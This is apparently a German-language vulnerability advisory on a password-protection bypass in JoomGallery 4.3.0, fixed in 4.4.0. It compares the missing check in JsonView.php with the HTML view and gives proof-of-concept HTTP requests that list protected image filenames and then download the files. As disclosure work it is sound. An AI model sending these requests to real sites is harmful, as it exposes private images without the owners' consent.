
Umgehung passwortgeschützter Kategorien über das JSON-Format in JoomGallery
JoomGallery ≤ 4.3.0-stable – Nicht authentifizierter Angreifer umgeht Passwortschranke, um geschützte Bilder herunterzuladen
In der JSON-Ansicht der Kategorie von JoomGallery existiert ein nicht authentifizierter Zugriffskontroll-Bypass. Wenn eine Galerie-Kategorie mit einem Passwort geschützt ist, erzwingt die HTML-Ansicht die Passwortschranke korrekt – die JSON-Ansicht (format=json) überspringt diese Prüfung jedoch vollständig.
Ein entfernter Angreifer ohne Anmeldedaten kann den Titel, die Beschreibung und die randomisierten Dateinamen aller geschützten Bilder der Kategorie abrufen und diese Bilder anschließend direkt herunterladen. Die Passwortschutzfunktion wird mit einer einzigen HTTP-Anfrage umgangen.
Der Bypass ist auf Kategorien beschränkt, deren Joomla-ACL-Zugriffsebene auf Public (access=1) gesetzt ist. Kategorien, die auf Registered oder Special beschränkt sind, werden weiterhin auf der ACL-Ebene in JsonView.php:69 blockiert.
| KOMPONENTE | VERWUNDBAR | GETESTET AUF | BEHOBEN |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
Typ: Unzulässige Zugriffskontrolle (CWE-284)
Erforderliche Authentifizierung: Keine – nicht authentifiziert, einzelne HTTP-Anfrage
Datei: site/com_joomgallery/src/View/Category/JsonView.php, Zeilen 76–96
JoomGallery implementiert den Passwortschutz für Kategorien über ein pw_protected-Flag. Diese Prüfung ist in HtmlView.php vorhanden, fehlt in JsonView.php jedoch vollständig:
HTMLVIEW.PHP – KORREKT (Schutz vorhanden)
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP – VERWUNDBAR (kein Schutz)
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // always executes
$this->item->images->items = $model->getImages(); // always executes
$this->output($this->item); // serializes full response to JSON including filenames
Joomlas format=json-Parameter leitet dieselbe URL an eine separate View-Klasse weiter. Jede View muss Zugriffsprüfungen unabhängig durchsetzen – das Framework überträgt sie nicht automatisch. Der Entwickler hat die pw_protected-Absicherung zu HtmlView hinzugefügt, sie jedoch in JsonView weggelassen.
Der Passwortschutz von JoomGallery beruht darauf, Bilddateinamen geheim zu halten – Dateien werden als statische Assets unter /images/joomgallery/originals/ gespeichert und von Apache ohne serverseitige Authentifizierung direkt ausgeliefert. Die Dateinamen sind randomisiert (z. B. secret-image-1_20260803_1951053711.jpg) und werden erst nach bestandener Passwortprüfung über die PHP/Joomla-Ebene offengelegt. Der JSON-Bypass durchbricht dieses Modell, indem er Dateinamen an nicht authentifizierte Anfragende offenlegt und damit die Angriffskette bis zum vollständigen Bildabruf vervollständigt.
Laboraufbau:
pw_protected=true, access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
Ergebnis: Passwortformular wird gerendert. Kein Kategorieinhalt sichtbar.

GET /index.php/gallery/categories/3-secret-gallery
Ergebnis: Direkter Bildzugriff innerhalb des Alias-Pfads blockiert (/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
Antwort (HTTP 200, keine Authentifizierung):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true bestätigt, dass das Passwort gesetzt ist. Trotzdem wird die vollständige Antwort einschließlich des randomisierten Dateinamens an einen nicht authentifizierten Aufrufer zurückgegeben.

Verwendung des in Schritt 3 erhaltenen Dateinamens.
Ergebnis: HTTP 200 – Bilddatei wird direkt von Apache zurückgegeben. Keine Authentifizierung erforderlich.

Jede Galerie-Kategorie, die der Administrator mit einem Passwort geschützt hat, ist vollständig kompromittiert. Der Angreifer benötigt lediglich die numerische Kategorie-ID, die fortlaufend und trivial aufzählbar ist.